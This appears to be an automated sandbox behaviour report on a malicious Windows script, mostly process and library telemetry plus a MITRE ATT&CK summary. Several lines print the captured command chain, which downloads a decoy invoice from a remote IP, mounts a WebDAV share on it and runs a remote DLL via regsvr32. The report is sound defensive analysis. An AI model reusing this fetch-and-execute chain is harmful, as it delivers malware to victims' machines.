Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7807.js.csv");ITextStream.WriteLine(" entry:7393 f:wuisdg");ITextStream.WriteLine(" exec:2 f:wuisdg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3787			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6044			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5976	Thread sleep count: 3787 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5976	Thread sleep count: 6044 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6704	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6700	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7880	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8252	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2570476880.000001C78C024000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000003.1367484310.000001D86FEA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368151683.000001D86FE38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368364444.000001D86FEA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2571577134.000001C791660000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2571533799.000001C79164F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
